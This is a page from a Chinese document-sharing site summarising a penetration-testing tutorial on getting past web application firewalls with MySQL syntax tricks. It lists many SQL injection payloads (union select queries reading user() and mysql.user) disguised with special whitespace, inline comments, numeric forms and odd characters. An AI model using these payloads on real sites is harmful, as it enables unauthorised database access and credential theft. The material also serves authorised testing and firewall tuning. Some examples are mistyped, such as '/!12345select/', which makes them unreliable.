第05篇:WAF Bypass数据库特性(Mysql探索篇)1
需积分: 0 82 浏览量
更新于2022-08-03
收藏 320KB PDF 举报
### WAF Bypass数据库特性(Mysql探索篇)
#### 0x01 前言
在渗透测试或安全研究领域,绕过Web应用防火墙(WAF)是一项常见的技术挑战。WAF作为网站安全的第一道防线,通常会拦截并阻止恶意请求。然而,通过对SQL注入攻击中的特殊字符进行巧妙利用,可以绕过这些防御机制。本文将重点介绍在MySQL环境中进行WAF绕过的几种方法,特别是利用空白字符、注释符和特殊格式来绕过WAF的策略。
#### 0x02 测试与技巧
##### 位置一:参数和union之间的位置
- **常见形式**:使用`/**/`或`/*!50000union*/`等形式。
- 示例:`SELECT * FROM admin WHERE username = 1 /**/ union select 1,user() from admin`
- **空白字符**:利用MySQL支持的一些特殊空白字符来规避检测。
- 支持的空白字符包括:`%09`, `%0a`, `%0b`, `%0c`, `%0d`, `%20`, `%a0`等。
- 示例:`SELECT * FROM admin WHERE username = 1%0a union select 1,user() from admin`
- **浮点数形式**:将整数转化为浮点数表示,如`1.1`。
- 示例:`SELECT * FROM admin WHERE username = 1.1 union select 1,user() from admin`
- **1E0的形式**:使用科学计数法表示数字,如`1E0`。
- 示例:`SELECT * FROM admin WHERE username = 1E0 union select 1,user() from admin`
- **\Nunion的形式**:使用`\N`代替数字。
- 示例:`SELECT * FROM admin WHERE username = \N union select 1,user() from admin`
##### 位置二:union和select之间的位置
- **内联注释**:通过使用`/*!12345union*/`这样的内联注释。
- 示例:`SELECT * FROM admin WHERE username = 1 /*!12345union*/ select 1,user() from admin`
- **换行符绕过**:利用换行符来分割命令,例如`%23%0a`或`%2d%2d%0a`。
- 示例:`SELECT * FROM admin WHERE username = 1%23%0a union select 1,user() from admin`
- **Mysql黑魔法**:通过使用非标准语法来混淆WAF。
- 示例:`SELECT * FROM admin WHERE username = 1 union select{x user} from{x mysql.user}`
- **其他特殊字符**:使用一些特殊的字符组合,如`%1%20`、`%3920`、`%40%20`等。
- 示例:`SELECT * FROM admin WHERE username = 1%1%20union select 1,user() from admin`
##### 位置三:select和查询参数之间的位置
- **空白字符**:再次利用上述提到的空白字符。
- 示例:`SELECT * FROM admin WHERE username = 1 union select%091,user() from admin`
- **注释符**:使用内联注释,如`/*!12345select*/`。
- 示例:`SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin`
- **其他字符**:使用一些特殊字符,如叹号(`%21`)、加号(`%2b`)、减号(`%2d`)、电子邮件符号(`%40`)和波浪号(`%7e`)。
- 示例:`SELECT * FROM admin WHERE username = 1 union select%7e1,user() from admin`
- **括号**:利用括号来改变表达式的结构。
- 示例:`SELECT * FROM admin WHERE username = 1 union select(1),user() from admin`
- **内联注释+特殊字符**:结合使用内联注释和特殊字符。
- 示例:`SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin`
- **特殊字符组合**:使用`@`、`{`、双引号(`"`)和`\N`等特殊字符。
- 示例:`SELECT * FROM admin WHERE username = 1 union select@ 1 ,user() from admin`
##### 位置四:查询参数和from之间的位置
- **空白字符**:继续利用之前提到的空白字符。
- 示例:`SELECT * FROM admin WHERE username = 1 union%a0select 1,user() from admin`
- **注释符**:使用内联注释。
- 示例:`SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin`
以上介绍的各种技巧均是为了展示如何利用MySQL特有的语法特性来规避WAF的检测。需要注意的是,这些技巧在实际操作中可能会因为不同的WAF规则而有所不同。因此,在进行安全测试时,应根据实际情况灵活调整策略。此外,进行此类测试前,务必确保拥有合法授权,并遵循相关的法律法规。

以墨健康道
- 粉丝: 34
- 资源: 307
最新资源
- (源码)基于Go语言的微信访客管理系统.zip
- 基于Python的飞机大战小游戏设计源码
- 基于改进粒子群算法的含碳捕集微网多尺度低碳经济调度优化模型:减少碳排放,提高运行效率的MATLAB代码解析与实践,基于改进粒子群算法的含碳捕集微网多尺度低碳经济调度优化研究-MATLAB代码实现与应
- (源码)基于PHP的在线考试系统.zip
- MATLAB3下的RPS并联机器人动力学与运动学仿真控制,Simulink Simscape应用探究,MATLAB3下的RPS并联机器人动力学与运动学仿真控制研究,Simulink Simscape环
- 基于C++和Python的开源SLAM系统设计源码精选
- (源码)基于C++和ROS框架的Universal Robots ROS Driver.zip
- MATLAB下风电-光伏与光热电站的N-K安全优化调度模型:调度的灵活性、经济性及消纳作用探究,基于N-K安全约束的风电-光伏-光热电站联合优化调度模型研究(MATLAB+YALMIP+CPLEX仿真
- 基于Java、JavaScript、Vue、HTML的宿舍管理系统毕业设计源码
- (源码)基于C++的DSO(Direct Sparse Odometry)系统.zip
- 基于C#语言的背单词应用程序设计源码
- MATLAB仿真:含电动汽车与需求响应策略的微网优化调度模型研究与应用分析,MATLAB仿真平台下的微网优化调度模型:考虑电动汽车与需求响应的互动策略分析及其对经济效益的影响,MATLAB代码:含电动
- (源码)基于PyTorch的Seq2Seq时间序列预测模型.zip
- MATLAB仿真下的光储电站经济性最优储能容量配置分析与调度模式优化,基于MATLAB的光储电站经济最优储能容量配置分析:联合调度模式与效益最大化,MATLAB代码:多种调度模式下的光储电站经济性最优
- (源码)基于C++的贪吃蛇游戏EatingSnake.zip
- 基于solon3.0.7、mybatis-flex、sa-token的国产企业级决策引擎设计源码